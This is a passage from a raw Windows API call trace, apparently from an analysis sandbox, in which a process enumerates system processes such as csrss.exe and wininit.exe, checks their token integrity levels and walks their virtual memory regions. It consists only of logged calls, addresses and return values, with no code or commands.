returned 0x1009e30 [0073.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045268) returned 1 [0073.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf180) returned 0x18efe98 [0073.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1009e30) returned 1 [0073.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045268 [0073.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10452b0 [0073.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10452f8 [0073.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045340 [0073.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1f40) returned 0xfffee8 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045268) returned 1 [0073.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xfc0) returned 0x19b8d50 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10452b0) returned 1 [0073.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1f40) returned 0x17f02d0 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10452f8) returned 1 [0073.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1822070 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045340) returned 1 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1822070) returned 1 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x19b8d50) returned 1 [0073.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfffee8) returned 1 [0073.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18efe98) returned 1 [0073.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0073.427] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0073.462] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.093] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x4786b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x4786b000, AllocationBase=0x0, AllocationProtect=0x47850000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0074.109] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x4786d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x4786d000, AllocationBase=0x0, AllocationProtect=0x47850000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0074.129] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x47870000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x47870000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2f8d0000), ResultLength=0x0) returned 0x0 [0074.176] NtQueryVirtualMemory (in: ProcessHandle=0x15c, Address=0x77140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x77140000, AllocationBase=0x0, AllocationProtect=0x77140000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.204] QueryFullProcessImageNameW (in: hProcess=0x1a0, dwFlags=0x0, lpExeName=0x19b8d50, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x174fa50) returned 1 [0074.204] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x19b8d50) returned 1 [0074.204] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.204] IsWow64Process (in: hProcess=0x1a0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.204] NtQueryInformationProcess (in: ProcessHandle=0x1a0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.204] GetProcessTimes (in: hProcess=0x1a0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.204] OpenProcessToken (in: ProcessHandle=0x1a0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.204] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.204] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.204] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.204] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.204] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.204] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.205] NtClose (Handle=0x2e8) returned 0x0 [0074.205] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0074.205] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x7000), ResultLength=0x0) returned 0x0 [0074.212] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7713a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x7713a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0074.212] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x77140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x77140000, AllocationBase=0x0, AllocationProtect=0x77140000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.214] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd0cb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0cb000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.214] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd0cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0cc000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd0e8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0e8000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd0f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0f0000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd0fd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0fd000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd0fe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0fe000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd101000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd110000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd110000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd11a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd11a000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0074.215] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd11f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd11f000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0074.216] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd123000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2cd000), ResultLength=0x0) returned 0x0 [0074.216] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x7fefd3f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd3f0000, AllocationBase=0x7fe, AllocationProtect=0xfd3f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.219] QueryFullProcessImageNameW (in: hProcess=0x18c, dwFlags=0x0, lpExeName=0x19b8d50, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\wininit.exe", lpdwSize=0x174fa50) returned 1 [0074.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x19b8d50) returned 1 [0074.219] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.219] IsWow64Process (in: hProcess=0x18c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.219] NtQueryInformationProcess (in: ProcessHandle=0x18c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.219] GetProcessTimes (in: hProcess=0x18c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.219] OpenProcessToken (in: ProcessHandle=0x18c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.219] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.219] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.219] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.219] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.219] NtClose (Handle=0x2e8) returned 0x0 [0074.219] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.220] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.224] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0xff36d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xff36d000, AllocationBase=0x0, AllocationProtect=0xff350000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.224] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0xff36e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xff36e000, AllocationBase=0x0, AllocationProtect=0xff350000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.224] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0xff36f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xff36f000, AllocationBase=0x0, AllocationProtect=0xff350000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0074.224] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0xff373000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xff373000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xfcfad000), ResultLength=0x0) returned 0x0 [0074.224] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x7fefc320000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfc320000, AllocationBase=0x7fe, AllocationProtect=0xfc320000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.228] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x7fefdc01000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfdc01000, AllocationBase=0x7fe, AllocationProtect=0xfdbd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xb000), ResultLength=0x0) returned 0x0 [0074.228] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x7fefdc0c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfdc0c000, AllocationBase=0x7fe, AllocationProtect=0xfdbd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.228] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x7fefdc0d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfdc0d000, AllocationBase=0x7fe, AllocationProtect=0xfdbd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.228] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x7fefdc1d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfdc1d000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x133000), ResultLength=0x0) returned 0x0 [0074.228] NtQueryVirtualMemory (in: ProcessHandle=0x18c, Address=0x7fefdd50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfdd50000, AllocationBase=0x7fe, AllocationProtect=0xfdd50000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.232] QueryFullProcessImageNameW (in: hProcess=0xec, dwFlags=0x0, lpExeName=0x19b9550, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x174fa50) returned 1 [0074.232] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x19b9550) returned 1 [0074.232] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.232] IsWow64Process (in: hProcess=0xec, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.232] NtQueryInformationProcess (in: ProcessHandle=0xec, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.232] GetProcessTimes (in: hProcess=0xec, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.233] OpenProcessToken (in: ProcessHandle=0xec, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.233] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.233] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.233] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.233] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.233] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.233] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.233] NtClose (Handle=0x2e8) returned 0x0 [0074.233] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0074.233] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x67000), ResultLength=0x0) returned 0x0 [0074.243] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7713a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x7713a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0074.243] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x77140000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x77140000, AllocationBase=0x0, AllocationProtect=0x77140000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.245] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd0cb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0cb000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.245] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd0cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0cc000, AllocationBase=0x7fe, AllocationProtect=0xfd0b0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0074.245] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd0e8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0e8000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0074.245] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd0f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd0f0000, AllocationBase=0x7fe, AllocationProtect=0xfd0f0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0074.246] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd11a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd11a000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0074.246] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd11f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd11f000, AllocationBase=0x7fe, AllocationProtect=0xfd110000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x4000), ResultLength=0x0) returned 0x0 [0074.246] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd123000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0xfd123000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2cd000), ResultLength=0x0) returned 0x0 [0074.246] NtQueryVirtualMemory (in: ProcessHandle=0xec, Address=0x7fefd3f0000, 